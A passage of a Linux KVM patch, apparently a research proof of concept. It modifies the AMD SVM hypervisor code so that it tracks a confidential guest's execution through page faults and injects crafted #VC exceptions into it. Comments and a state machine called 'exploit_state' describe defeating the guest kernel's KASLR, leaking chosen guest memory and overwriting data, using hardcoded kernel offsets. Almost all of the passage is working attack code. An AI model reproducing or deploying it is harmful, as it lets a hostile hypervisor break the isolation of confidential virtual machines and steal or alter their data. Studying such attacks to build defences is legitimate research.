count_insn_get_modrm_reg_ptr_gpa++; 615 | + } 616 | + if (user_data_npf_ex.vc_handle_mmio_gpa == fault_address){ 617 | + count_vc_handle_mmio_gpa++; 618 | + } 619 | + if ((count_vc_handle_mmio_gpa == 4) && (count_insn_get_modrm_reg_ptr_gpa == 3)) 620 | + { 621 | + user_data_npf_ex.exception_number = 29; 622 | + user_data_npf_ex.exception_error_code = 0x81; 623 | + atomic_set(&user_data_npf_ex.deliver_intr, 2); 624 | + // release guest 625 | + user_data_npf_ex.state = VC_INJECTED_RAX_PTR_LEAK_INTO_VC; 626 | + count_vc_handle_mmio_gpa = 0; 627 | + count_insn_get_modrm_reg_ptr_gpa = 0; 628 | + VC_pr_info("injecting first leak interrupt\n"); 629 | + } 630 | + previous_fault_address = fault_address; 631 | + } 632 | +} 633 | + 634 | +void profile_pages_and_inject_VC_second(struct kvm_vcpu *vcpu){ 635 | + struct vcpu_svm *svm = to_svm(vcpu); 636 | + u64 fault_address = svm->vmcb->control.exit_info_2; 637 | + static u64 previous_fault_address = 1; 638 | + static u64 count_lookup_address_in_pgd = 0; 639 | + 640 | + if (user_data_npf_ex.lookup_address_in_pgd) 641 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.lookup_address_in_pgd >> 12, true); 642 | + 643 | + if (user_data_npf_ex.vc_do_mmio) 644 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_do_mmio >> 12, true); 645 | + 646 | + 647 | + if (svm->vmcb->control.exit_code == SVM_EXIT_NPF && fault_address){ 648 | + if (user_data_npf_ex.lookup_address_in_pgd == fault_address){ 649 | + count_lookup_address_in_pgd++; 650 | + } 651 | + if ((user_data_npf_ex.vc_do_mmio == fault_address) && (count_lookup_address_in_pgd == 1)) 652 | + { 653 | + user_data_npf_ex.exception_number = 29; 654 | + user_data_npf_ex.exception_error_code = 0x81; 655 | + atomic_set(&user_data_npf_ex.deliver_intr, 2); 656 | + 657 | + user_data_npf_ex.state = VC_INJECTED_SECOND_VC_INTO_VC; 658 | + count_lookup_address_in_pgd = 0; 659 | + // release guest 660 | + VC_pr_info("injecting second leak interrupt\n"); 661 | + } 662 | + previous_fault_address = svm->vmcb->control.exit_info_2; 663 | + } 664 | +} 665 | + 666 | +void profile_pages_and_fault_on_mov_read(struct kvm_vcpu *vcpu){ 667 | + struct vcpu_svm *svm = to_svm(vcpu); 668 | + u64 fault_address = svm->vmcb->control.exit_info_2; 669 | + static u64 previous_fault_address = 1; 670 | + 671 | + if(user_data_npf_ex.state != VC_WAITING_FOR_UNDERLYING_MOV) 672 | + return; 673 | + 674 | + if (previous_fault_address == user_data_npf_ex.sched_clock_cpu && 675 | + fault_address == user_data_npf_ex.update_rq_clock){ 676 | + user_data_npf_ex.state = VC_STOPPED_ON_MOV; 677 | + previous_fault_address = 1; 678 | + //user_data_npf_ex.need_rax_rdx_overwrite = true; 679 | + VC_pr_info("reached page boundary mov read instruction, continuing with leak\n"); 680 | + return; 681 | + } 682 | + 683 | + if (user_data_npf_ex.update_rq_clock) 684 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.update_rq_clock >> 12, true); 685 | + 686 | + if (user_data_npf_ex.sched_clock_cpu) 687 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.sched_clock_cpu >> 12, true); 688 | + 689 | + if (svm->vmcb->control.exit_code == SVM_EXIT_NPF && fault_address){ 690 | + previous_fault_address = fault_address; 691 | + } 692 | +} 693 | + 694 | +void profile_pages_and_fault_on_mov_write(struct kvm_vcpu *vcpu){ 695 | + struct vcpu_svm *svm = to_svm(vcpu); 696 | + u64 fault_address = svm->vmcb->control.exit_info_2; 697 | + static u64 previous_fault_address = 1; 698 | + static u64 deadlock_count = 0, resume_count = 0; 699 | + 700 | + if(user_data_npf_ex.state != VC_WAITING_FOR_UNDERLYING_MOV) 701 | + return; 702 | + 703 | + if (previous_fault_address == user_data_npf_ex.update_rq_clock_part_0 && 704 | + fault_address == user_data_npf_ex.scheduler_tick){ 705 | + user_data_npf_ex.state = VC_STOPPED_ON_MOV; 706 | + previous_fault_address = 1; 707 | + deadlock_count = 0; 708 | + resume_count = 0; 709 | + //user_data_npf_ex.need_rax_rdx_overwrite = true; 710 | + VC_pr_info("reached page boundary mov write instruction, continuing with leak\n"); 711 | + return; 712 | + } 713 | + if (svm->vmcb->control.exit_code == SVM_EXIT_NPF && fault_address){ 714 | + previous_fault_address = fault_address; 715 | + deadlock_count++; 716 | + } 717 | + if (deadlock_count > 0x1000){ 718 | + resume_count++; 719 | + if (resume_count >= 0x100){ 720 | + deadlock_count = 0; 721 | + resume_count = 0; 722 | + } 723 | + return; 724 | + } 725 | + 726 | + // somehow we get a perma loop here, not sure why 727 | + if (user_data_npf_ex.scheduler_tick){ 728 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.scheduler_tick >> 12, true); 729 | + kvm_vcpu_exec_protect_gfn(vcpu, (user_data_npf_ex.scheduler_tick+0x1000) >> 12, true); 730 | + kvm_vcpu_exec_protect_gfn(vcpu, (user_data_npf_ex.scheduler_tick+0x2000) >> 12, true); 731 | + kvm_vcpu_exec_protect_gfn(vcpu, (user_data_npf_ex.scheduler_tick+0x3000) >> 12, true); 732 | + kvm_vcpu_exec_protect_gfn(vcpu, (user_data_npf_ex.scheduler_tick+0x4000) >> 12, true); 733 | + kvm_vcpu_exec_protect_gfn(vcpu, (user_data_npf_ex.scheduler_tick+0x5000) >> 12, true); 734 | + } 735 | + 736 | + if (user_data_npf_ex.update_rq_clock_part_0){ 737 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.update_rq_clock_part_0 >> 12, true); 738 | + kvm_vcpu_exec_protect_gfn(vcpu, (user_data_npf_ex.update_rq_clock_part_0-0x1000) >> 12, true); 739 | + kvm_vcpu_exec_protect_gfn(vcpu, (user_data_npf_ex.update_rq_clock_part_0-0x2000) >> 12, true); 740 | + kvm_vcpu_exec_protect_gfn(vcpu, (user_data_npf_ex.update_rq_clock_part_0-0x3000) >> 12, true); 741 | + kvm_vcpu_exec_protect_gfn(vcpu, (user_data_npf_ex.update_rq_clock_part_0-0x5000) >> 12, true); 742 | + } 743 | + 744 | +} 745 | + 746 | +void profile_pages_and_skip_on_ip_update(struct kvm_vcpu *vcpu){ 747 | + struct vcpu_svm *svm = to_svm(vcpu); 748 | + u64 fault_address = svm->vmcb->control.exit_info_2; 749 | + static u64 previous_fault_address = 1; 750 | + static u64 previous_previous_fault_address = 1; 751 | + 752 | + if (previous_previous_fault_address == user_data_npf_ex.vc_handle_exitcode_page && 753 | + previous_fault_address == user_data_npf_ex.sev_put_ghcb_page && 754 | + fault_address == user_data_npf_ex.vc_handle_exitcode_page){ 755 | + // initialize skip counter to 0; 756 | + user_data_npf_ex.skip_counter = 0; 757 | + user_data_npf_ex.state_skipping = VC__FAULT_ON_BASE; 758 | + previous_fault_address = 1; 759 | + previous_previous_fault_address = 1; 760 | + // inject Inst skip VC 761 | + user_data_npf_ex.exception_number = 29; 762 | + user_data_npf_ex.exception_error_code = 0x81; 763 | + atomic_set(&user_data_npf_ex.deliver_intr, 2); 764 | + user_data_npf_ex.instruction_skip_rdtsc = rdtsc(); 765 | + user_data_npf_ex.instruction_skip_ns = ktime_get_ns(); 766 | + return; 767 | + } 768 | + 769 | + if (fault_address == user_data_npf_ex.vc_handle_exitcode_page){ 770 | + VC_pr_info("hit vc_handle_exitcode_page"); 771 | + } 772 | + if (fault_address == user_data_npf_ex.sev_put_ghcb_page){ 773 | + VC_pr_info("hit sev_put_ghcb_page"); 774 | + } 775 | + 776 | + 777 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_handle_exitcode_page >> 12, true); 778 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.sev_put_ghcb_page >> 12, true); 779 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_do_mmio >> 12, true); 780 | + 781 | + if (svm->vmcb->control.exit_code == SVM_EXIT_NPF && fault_address){ 782 | + previous_previous_fault_address = previous_fault_address; 783 | + previous_fault_address = fault_address; 784 | + } 785 | +} 786 | + 787 | + 788 | +void exploit_function_post_run(struct kvm_vcpu *vcpu){ 789 | + struct vcpu_svm *svm = to_svm(vcpu); 790 | + 791 | + if (svm->vmcb->control.exit_code == SVM_EXIT_NPF && svm->vmcb->control.exit_info_2){ 792 | + if (user_data_npf_ex.state == VC_WAIT_FOR_RETURN_OF_SECOND_VC_INJ){ 793 | + //pr_info("jump_skip active %llx\n",user_data_npf_ex.vc_return_address); 794 | + if (svm->vmcb->control.exit_info_2 == user_data_npf_ex.vc_return_address){ 795 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_do_mmio >> 12, true); 796 | + user_data_npf_ex.state = VC_WAITING_FOR_IP_TO_HIT_JE_IN_DO_MMIO; 797 | + VC_pr_info("reached end of VC (probably)\n"); 798 | + } 799 | + } 800 | + if (user_data_npf_ex.state == VC_WAITING_FOR_IP_TO_HIT_JE_IN_DO_MMIO){ 801 | + if (svm->vmcb->control.exit_info_2 == user_data_npf_ex.vc_do_mmio){ 802 | + VC_pr_info("skipping je to proceed without exception\n"); 803 | + user_data_npf_ex.exception_number = 29; 804 | + user_data_npf_ex.exception_error_code = 0x81; 805 | + atomic_set(&user_data_npf_ex.deliver_intr, 2); 806 | + user_data_npf_ex.state = VC_INJECT_VC_TO_SKIP_JMP; 807 | + } 808 | + } 809 | + } 810 | + 811 | + // hmmm, somehow the write thing got stable. So we can overwrite stuff pretty now. 812 | + if (user_data_npf_ex.do_read) 813 | + profile_pages_and_fault_on_mov_read(vcpu); 814 | + else 815 | + profile_pages_and_fault_on_mov_write(vcpu); 816 | + 817 | + if(user_data_npf_ex.state >= VC_STOPPED_ON_MOV){ 818 | + // in case we get a physical timer etc. delay the injection until the previous injection went through. 819 | + //* Should not happen with the new architecture. 820 | + if (user_data_npf_ex.state == VC_STOPPED_ON_MOV && !atomic_read(&user_data_npf_ex.deliver_intr)){ 821 | + // inject MMIO VC 822 | + user_data_npf_ex.exception_number = 29; 823 | + user_data_npf_ex.exception_error_code = 0x400; 824 | + atomic_set(&user_data_npf_ex.deliver_intr, 2); 825 | + 826 | + user_data_npf_ex.state = VC_INJECTED_VC_400; 827 | + VC_pr_info("about to inject VC 29 with errorcode 0x400\n"); 828 | + } 829 | + if (user_data_npf_ex.state == VC_INJECTED_VC_400){ 830 | + profile_pages_and_inject_VC_first(vcpu); 831 | + } 832 | + // we need to mark the pages NX on VC_INJECTED_RAX_PTR_LEAK_INTO_VC 833 | + // if we would only do it on VC_PROFILE_FOR_SECOND_INJECT_INTO_VC we would enter the guest with these pages 834 | + // marked as executable and only on the next exit we would mark them as NX 835 | + // by that time it is to late and we probably passed by our injection point 836 | + if (user_data_npf_ex.state == VC_PROFILE_FOR_SECOND_INJECT_INTO_VC){ 837 | + profile_pages_and_inject_VC_second(vcpu); 838 | + } 839 | + } 840 | + if (user_data_npf_ex.state_skipping == VC__START_PROFILING){ 841 | + profile_pages_and_skip_on_ip_update(vcpu); 842 | + } 843 | + 844 | + if (svm->vmcb->control.exit_code == SVM_EXIT_NPF && svm->vmcb->control.exit_info_2){ 845 | + if (user_data_npf_ex.state_skipping == VC__WAIT_FOR_END_OF_VC){ 846 | + //pr_info("jump_skip active %llx\n",user_data_npf_ex.vc_return_address); 847 | + if (svm->vmcb->control.exit_info_2 == user_data_npf_ex.vc_return_address){ 848 | + user_data_npf_ex.state_skipping = VC__WAIT_FOR_FAUL_ON_HANDLE_EXITCODE; 849 | + VC_pr_profile("skip instruction duration rdtsc %lld\n",rdtsc()-user_data_npf_ex.instruction_skip_rdtsc); 850 | + VC_pr_profile("skip instruction duration ns %lld\n",ktime_get_ns()-user_data_npf_ex.instruction_skip_ns); 851 | + user_data_npf_ex.skip_counter++; 852 | + if (user_data_npf_ex.skip_counter != 15){ 853 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_handle_exitcode_page >> 12, true); 854 | + VC_pr_info("reached end of VC (probably) marking vc_handle_exitcode_page as NX\n"); 855 | + } else { 856 | + user_data_npf_ex.state_skipping = VC__SKIP_IDLE; 857 | + user_data_npf_ex.state++; 858 | + // since we use it two times, just increase the state by 1 point. 859 | + if (user_data_npf_ex.state == VC_END) { 860 | + user_data_npf_ex.state = user_data_npf_ex.block_on_page ? VC_BLOCK_ON_MOV : VC_IDLE; 861 | + } 862 | + } 863 | + } 864 | + } 865 | + if (user_data_npf_ex.state_skipping == VC__WAIT_FOR_FAUL_ON_HANDLE_EXITCODE){ 866 | + if (svm->vmcb->control.exit_info_2 == user_data_npf_ex.vc_handle_exitcode_page){ 867 | + VC_pr_info("skipping instruction\n"); 868 | + user_data_npf_ex.exception_number = 29; 869 | + user_data_npf_ex.exception_error_code = 0x81; 870 | + atomic_set(&user_data_npf_ex.deliver_intr, 2); 871 | + user_data_npf_ex.instruction_skip_rdtsc = rdtsc(); 872 | + user_data_npf_ex.instruction_skip_ns = ktime_get_ns(); 873 | + user_data_npf_ex.state_skipping = VC__FAULT_ON_BASE; 874 | + } 875 | + } 876 | + if (user_data_npf_ex.state == VC_WAIT_INJECT_VC_TO_SKIP_JMP_RETURNED){ 877 | + // when we reach here, the previous vmmcall VC exited and we are returning to the MMIO VC context 878 | + if (svm->vmcb->control.exit_info_2 == user_data_npf_ex.vc_return_address){ 879 | + user_data_npf_ex.state = VC_SWITCH_TO_SKIPPING_STATE_SECOND; 880 | + user_data_npf_ex.state_skipping = VC__START_PROFILING; 881 | + // after here we must fault on vc_raw_handle_exception and sev_put_ghcd. 882 | + // This might not work for MMIO Write since we do a MEMCPY AFTER this 883 | + // and the mmecopy might be on the same page as vc_handle_exitcode_page. 884 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_handle_exitcode_page >> 12, true); 885 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.sev_put_ghcb_page >> 12, true); 886 | + // ned this to avoid false positive hit (can be optimized if we profile which pages actually cause the false positive) 887 | + //kvm_start_tracking(vcpu); 888 | + } 889 | + } 890 | + } 891 | +} 892 | + 893 | static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) 894 | { 895 | struct vcpu_svm *svm = to_svm(vcpu); 896 | @@ -4063,6 +4367,43 @@ static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) 897 | smp_send_reschedule(vcpu->cpu); 898 | } 899 | 900 | + if (user_data_npf_ex.state == VC_BLOCK_ON_MOV){ 901 | + // block for write 902 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.scheduler_tick >> 12, true); 903 | + // block for read 904 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.update_rq_clock >> 12, true); 905 | + } 906 | + 907 | + // start at VM exit, so we block all other interrupts which migh mess up or state. 908 | + // done in x86/kvm/x86.c 909 | + if (user_data_npf_ex.start){ 910 | + if (user_data_npf_ex.state == VC_IDLE){ 911 | + user_data_npf_ex.state = VC_WAITING_FOR_UNDERLYING_MOV; 912 | + user_data_npf_ex.state_skipping = VC__SKIP_IDLE; 913 | + // we need to mark all pages as not executable 914 | + // otherwise we might get a false positive hit in the 915 | + // second run on update_rq_clock. 916 | + kvm_start_tracking(vcpu,false); 917 | + } 918 | + if (user_data_npf_ex.state == VC_BLOCK_ON_MOV){ 919 | + user_data_npf_ex.state = VC_STOPPED_ON_MOV; 920 | + user_data_npf_ex.state_skipping = VC__SKIP_IDLE; 921 | + } 922 | + user_data_npf_ex.start = false; 923 | + } 924 | + 925 | + if(atomic_read(&user_data_npf_ex.user_interrupt_pending) == 1){ 926 | + svm->vmcb->control.event_inj = user_data_npf_ex.exception_number | SVM_EVTINJ_VALID | SVM_EVTINJ_VALID_ERR | SVM_EVTINJ_TYPE_INTR; 927 | + svm->vmcb->control.event_inj_err = user_data_npf_ex.exception_error_code; 928 | + VC_pr_info("before run: event_inj %x\n",svm->vmcb->control.event_inj); 929 | + VC_pr_info("before run: event_inj_err %x\n",svm->vmcb->control.event_inj_err); 930 | + } 931 | + 932 | + if(user_data_npf_ex.state == VC_WAIT_FOR_KASLR_PAGE_FAULT && svm->vmcb->control.exit_info_2 != user_data_npf_ex.x86_64_start_kernel){ 933 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.x86_64_start_kernel >> 12, true); 934 | + } 935 | + 936 | + 937 | pre_svm_run(vcpu); 938 | 939 | sync_lapic_to_cr8(vcpu); 940 | @@ -4117,6 +4458,28 @@ static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) 941 | kvm_load_host_xsave_state(vcpu); 942 | stgi(); 943 | 944 | + if(atomic_read(&user_data_npf_ex.user_interrupt_pending) == 1){ 945 | + atomic_set(&user_data_npf_ex.user_interrupt_pending,0); 946 | + user_data_npf_ex.generic_vc_counter++; 947 | + } 948 | + 949 | + if (user_data_npf_ex.state > VC_IDLE) 950 | + exploit_function_post_run(vcpu); 951 | + 952 | + if (user_data_npf_ex.state == VC_WAIT_FOR_KASLR_PAGE_FAULT){ 953 | + if (svm->vmcb->control.exit_info_2 == user_data_npf_ex.x86_64_start_kernel){ 954 | + if (user_data_npf_ex.generic_page_counter == 4){ 955 | + // this VC will only skip a ENDBR instruction, so we don't care at all 956 | + user_data_npf_ex.exception_number = 29; 957 | + user_data_npf_ex.exception_error_code = 0x81; 958 | + atomic_set(&user_data_npf_ex.deliver_intr, 2); 959 | + user_data_npf_ex.state = VC_WAIT_FOR_VMEXIT_WITH_KASLR_ADDR; 960 | + } else{ 961 | + user_data_npf_ex.generic_page_counter++; 962 | + } 963 | + } 964 | + } 965 | + 966 | /* Any pending NMI will happen here */ 967 | 968 | if (unlikely(svm->vmcb->control.exit_code == SVM_EXIT_NMI)) 969 | @@ -4161,6 +4524,7 @@ static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) 970 | if (is_guest_mode(vcpu)) 971 | return EXIT_FASTPATH_NONE; 972 | 973 | + //pr_info("0x%x\n",svm->vmcb->control.exit_code); 974 | return svm_exit_handlers_fastpath(vcpu); 975 | } 976 | 977 | @@ -5137,9 +5501,8 @@ static __init int svm_hardware_setup(void) 978 | 979 | /* Force VM NPT level equal to the host's paging level */ 980 | kvm_configure_mmu(npt_enabled, get_npt_level(), 981 | - get_npt_level(), PG_LEVEL_1G); 982 | + get_npt_level(), PG_LEVEL_4K); 983 | pr_info("Nested Paging %sabled\n", npt_enabled ? "en" : "dis"); 984 | - 985 | /* Setup shadow_me_value and shadow_me_mask */ 986 | kvm_mmu_set_me_spte_mask(sme_me_mask, sme_me_mask); 987 | 988 | diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c 989 | index 7eaf69e63d2b..f8ffa7a514c9 100644 990 | --- a/arch/x86/kvm/x86.c 991 | +++ b/arch/x86/kvm/x86.c 992 | @@ -61,6 +61,7 @@ 993 | #include 994 | #include 995 | #include 996 | +#include 997 | 998 | #include 999 | #include 1000 | @@ -10491,6 +10492,31 @@ EXPORT_SYMBOL_GPL(__kvm_request_immediate_exit); 1001 | * exiting to the userspace. Otherwise, the value will be returned to the 1002 | * userspace. 1003 | */ 1004 | + 1005 | +struct npf_exception_coordination user_data_npf_ex = { 1006 | + .deliver_intr = ATOMIC_INIT(0), 1007 | + .user_interrupt_pending = ATOMIC_INIT(0), 1008 | + .start = false, 1009 | + .state = VC_INIT, 1010 | + .insn_get_modrm_reg_ptr_gpa = 0xe6b320, 1011 | + .vc_handle_mmio_gpa = 0xe164a, 1012 | + .update_rq_clock = 0x12fc90, 1013 | + .sched_clock_cpu = 0x150540, 1014 | + .lookup_address_in_pgd = 0xe94b0, 1015 | + .vc_do_mmio = 0xdfae0, 1016 | + .vc_return_address = 0xe7170c, 1017 | + .x86_64_start_kernel = 0x248eb80, 1018 | + .scheduler_tick = 0x13a140, 1019 | + .update_rq_clock_part_0 = 0x12fca0, // can omit technically, but keep it in case alignment changes 1020 | + .vc_handle_exitcode_page = 0xe1d15, 1021 | + .sev_put_ghcb_page = 0xe70c20, 1022 | + .getrandom_syscall_addr = 0x693600, 1023 | + .vc_handle_exitcode_page_part_1 = 0xe0ecb, 1024 | + .block_on_page = false, 1025 | +}; 1026 | +EXPORT_SYMBOL(user_data_npf_ex); 1027 | +extern bool kvm_vcpu_exec_protect_gfn(struct kvm_vcpu *vcpu, u64 gfn, bool flush_tlb); 1028 | + 1029 | static int vcpu_enter_guest(struct kvm_vcpu *vcpu) 1030 | { 1031 | int r; 1032 | @@ -10656,32 +10682,42 @@ static int vcpu_enter_guest(struct kvm_vcpu *vcpu) 1033 | } 1034 | } 1035 | 1036 | - if (kvm_check_request(KVM_REQ_EVENT, vcpu) || req_int_win || 1037 | - kvm_xen_has_interrupt(vcpu)) { 1038 | - ++vcpu->stat.req_event; 1039 | - r = kvm_apic_accept_events(vcpu); 1040 | - if (r < 0) { 1041 | - r = 0; 1042 | - goto out; 1043 | - } 1044 | - if (vcpu->arch.mp_state == KVM_MP_STATE_INIT_RECEIVED) { 1045 | - r = 1; 1046 | - goto out; 1047 | - } 1048 | + if ((((kvm_check_request(KVM_REQ_EVENT, vcpu) || req_int_win || 1049 | + kvm_xen_has_interrupt(vcpu))) || atomic_read(&user_data_npf_ex.deliver_intr)) 1050 | + && !atomic_read(&user_data_npf_ex.user_interrupt_pending)) { 1051 | + 1052 | + if (atomic_read(&user_data_npf_ex.deliver_intr)) { 1053 | + atomic_set(&user_data_npf_ex.deliver_intr,0); 1054 | + atomic_set(&user_data_npf_ex.user_interrupt_pending,1); 1055 | + } else if (!(user_data_npf_ex.state > VC_WAITING_FOR_UNDERLYING_MOV)) { 1056 | + ++vcpu->stat.req_event; 1057 | + r = kvm_apic_accept_events(vcpu); 1058 | + if (r < 0) { 1059 | + r = 0; 1060 | + goto out; 1061 | + } 1062 | + if (vcpu->arch.mp_state == KVM_MP_STATE_INIT_RECEIVED) { 1063 | + r = 1; 1064 | + goto out; 1065 | + } 1066 | 1067 | - r = kvm_check_and_inject_events(vcpu, &req_immediate_exit); 1068 | - if (r < 0) { 1069 | - r = 0; 1070 | - goto out; 1071 | - } 1072 | - if (req_int_win) 1073 | - static_call(kvm_x86_enable_irq_window)(vcpu); 1074 | + r = kvm_check_and_inject_events(vcpu, &req_immediate_exit); 1075 | + if (r < 0) { 1076 | + r = 0; 1077 | + goto out; 1078 | + } 1079 | + if (req_int_win) 1080 | + static_call(kvm_x86_enable_irq_window)(vcpu); 1081 | 1082 | - if (kvm_lapic_enabled(vcpu)) { 1083 | - update_cr8_intercept(vcpu); 1084 | - kvm_lapic_sync_to_vapic(vcpu); 1085 | + if (kvm_lapic_enabled(vcpu)) { 1086 | + update_cr8_intercept(vcpu); 1087 | + kvm_lapic_sync_to_vapic(vcpu); 1088 | + } 1089 | } 1090 | } 1091 | +/* if (user_data_npf_ex.activate_guest_lock_on_mov_boundary){ 1092 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.update_rq_clock >> 12, true); 1093 | + } */ 1094 | 1095 | r = kvm_mmu_reload(vcpu); 1096 | if (unlikely(r)) { 1097 | @@ -10728,7 +10764,9 @@ static int vcpu_enter_guest(struct kvm_vcpu *vcpu) 1098 | if (kvm_lapic_enabled(vcpu)) 1099 | static_call_cond(kvm_x86_sync_pir_to_irr)(vcpu); 1100 | 1101 | - if (kvm_vcpu_exit_request(vcpu)) { 1102 | + // we skip all requests, however, this checks for pending requests and exits 1103 | + // so just uncomment it 1104 | +/* if (kvm_vcpu_exit_request(vcpu)) { 1105 | vcpu->mode = OUTSIDE_GUEST_MODE; 1106 | smp_wmb(); 1107 | local_irq_enable(); 1108 | @@ -10736,7 +10774,7 @@ static int vcpu_enter_guest(struct kvm_vcpu *vcpu) 1109 | kvm_vcpu_srcu_read_lock(vcpu); 1110 | r = 1; 1111 | goto cancel_injection; 1112 | - } 1113 | + } */ 1114 | 1115 | if (req_immediate_exit) { 1116 | kvm_make_request(KVM_REQ_EVENT, vcpu); 1117 | @@ -10769,6 +10807,7 @@ static int vcpu_enter_guest(struct kvm_vcpu *vcpu) 1118 | * per-VM state, and responsing vCPUs must wait for the update 1119 | * to complete before servicing KVM_REQ_APICV_UPDATE. 1120 | */ 1121 | + 1122 | WARN_ON_ONCE((kvm_vcpu_apicv_activated(vcpu) != kvm_vcpu_apicv_active(vcpu)) && 1123 | (kvm_get_apic_mode(vcpu) != LAPIC_MODE_DISABLED)); 1124 | 1125 | @@ -12304,14 +12343,16 @@ int kvm_arch_init_vm(struct kvm *kvm, unsigned long type) 1126 | return -EINVAL; 1127 | 1128 | kvm->arch.vm_type = type; 1129 | - 1130 | + pr_info("init vm\n"); 1131 | ret = kvm_page_track_init(kvm); 1132 | if (ret) 1133 | goto out; 1134 | 1135 | + pr_info("before mmu init\n"); 1136 | ret = kvm_mmu_init_vm(kvm); 1137 | if (ret) 1138 | goto out_page_track; 1139 | + pr_info("before mmu init\n"); 1140 | 1141 | ret = static_call(kvm_x86_vm_init)(kvm); 1142 | if (ret) 1143 | diff --git a/include/linux/intr_injection.h b/include/linux/intr_injection.h 1144 | new file mode 100644 1145 | index 000000000000..e0ffe31267d0 1146 | --- /dev/null 1147 | +++ b/include/linux/intr_injection.h 1148 | @@ -0,0 +1,129 @@ 1149 | +/* SPDX-License-Identifier: GPL-2.0 */ 1150 | + 1151 | +#ifndef _LINUX_INTR_INJ_H 1152 | +#define _LINUX_INTR_INJ_H 1153 | + 1154 | +/* 1155 | + * Generic Interrupt injection support 1156 | + */ 1157 | + 1158 | +#include 1159 | +#include 1160 | +#include 1161 | +#include 1162 | +#include 1163 | + 1164 | +//#define VC_pr_info(...) pr_info(__VA_ARGS__) 1165 | +#define VC_pr_info(...) 1166 | + 1167 | +#define VC_pr_profile(...) pr_info(__VA_ARGS__) 1168 | +//#define VC_pr_profile(...) 1169 | + 1170 | +enum exploit_state { 1171 | + VC_INIT, 1172 | + VC_WAIT_FOR_KASLR_PAGE_FAULT, 1173 | + VC_WAIT_FOR_VMEXIT_WITH_KASLR_ADDR, 1174 | + VC_IDLE, 1175 | + VC_WAITING_FOR_UNDERLYING_MOV, 1176 | + VC_BLOCK_ON_MOV, 1177 | + VC_STOPPED_ON_MOV, 1178 | + VC_INJECTED_VC_400, 1179 | + VC_INJECTED_RAX_PTR_LEAK_INTO_VC, 1180 | + VC_SWITCH_TO_SKIPPING_STATE_FIRST, 1181 | + VC_PROFILE_FOR_SECOND_INJECT_INTO_VC, 1182 | + VC_INJECTED_SECOND_VC_INTO_VC, 1183 | + VC_WAIT_FOR_RETURN_OF_SECOND_VC_INJ, 1184 | + VC_WAITING_FOR_IP_TO_HIT_JE_IN_DO_MMIO, 1185 | + VC_INJECT_VC_TO_SKIP_JMP, 1186 | + VC_WRITE_HACK_WAIT_FOR_EXITCODE_PAGE_HIT, 1187 | + VC_WAIT_INJECT_VC_TO_SKIP_JMP_RETURNED, 1188 | + VC_SWITCH_TO_SKIPPING_STATE_SECOND, 1189 | + VC_END, 1190 | +}; 1191 | + 1192 | +enum skip_state { 1193 | + VC__SKIP_IDLE, 1194 | + VC__START_PROFILING, 1195 | + VC__FAULT_ON_BASE, 1196 | + VC__WAIT_FOR_END_OF_VC, 1197 | + VC__WAIT_FOR_FAUL_ON_HANDLE_EXITCODE, 1198 | +}; 1199 | + 1200 | +struct npf_exception_coordination{ 1201 | + enum exploit_state state; 1202 | + enum skip_state state_skipping; 1203 | + uint64_t skip_counter; 1204 | + 1205 | + bool start; 1206 | + 1207 | + uint64_t generic_page_counter; 1208 | + 1209 | + atomic_t deliver_intr; 1210 | + atomic_t user_interrupt_pending; 1211 | + // actual exception number 1212 | + uint32_t exception_number; 1213 | + uint32_t exception_error_code; 1214 | + 1215 | + // this is the gpa we use to inject the second VC. 1216 | + uint64_t insn_get_modrm_reg_ptr_gpa; 1217 | + // this is the gpa we use to inject the second VC. 1218 | + uint64_t vc_handle_mmio_gpa; 1219 | + // function such that we can inject our VC on mov rax,rdx. 1220 | + uint64_t update_rq_clock; 1221 | + // on return from that function to update_rq_clock we inject our VC's. 1222 | + uint64_t sched_clock_cpu; 1223 | + // address we want to leak 1224 | + uint64_t leak_addr; 1225 | + // data to copy in or copy out 1226 | + uint64_t data_user; 1227 | + 1228 | + // pf on this one to overwrite dst virtual addr pointer 1229 | + uint64_t lookup_address_in_pgd; 1230 | + // if we return from lookup address in pdg to this one inject VC 1231 | + uint64_t vc_do_mmio; 1232 | + 1233 | + // save pointer to rax on the VC 29/400 stack, such that we can 1234 | + // abuse the value. 1235 | + uint64_t valid_virtual_address_pointing_to_rax_register; 1236 | + // doen't mean we will return from VC directly on the same page are also 1237 | + // __sev_put_ghcb and __sev_es_nmi_complete, but its a good indication 1238 | + // also entry point for normal page faults is on that address. 1239 | + 1240 | + //* changed it now to point to ct_nmi_exit calledj 1241 | + //* However functions such as __memcpy are on the same page 1242 | + uint64_t vc_return_address; 1243 | + uint64_t physical_base_addr_kernel; 1244 | + // now we defeat virtual KASLR 1245 | + uint64_t x86_64_start_kernel; // 0x248e000 diff to base 1246 | + uint64_t virtual_base_addr_kernel; 1247 | + // 0x1d7cbc0 core_pattern offset from base 1248 | + 1249 | + uint64_t scheduler_tick; //ffffffff8113a140 ....0x13a140 diff to base 1250 | + uint64_t update_rq_clock_part_0; // ffffffff8112fca0 ....0x12fca0 diff to base 1251 | + 1252 | + // we need this to skip the instruction skip. 1253 | + uint64_t vc_handle_exitcode_page; // 0xe1d15 offset 1254 | + uint64_t sev_put_ghcb_page; // 0xe70c20 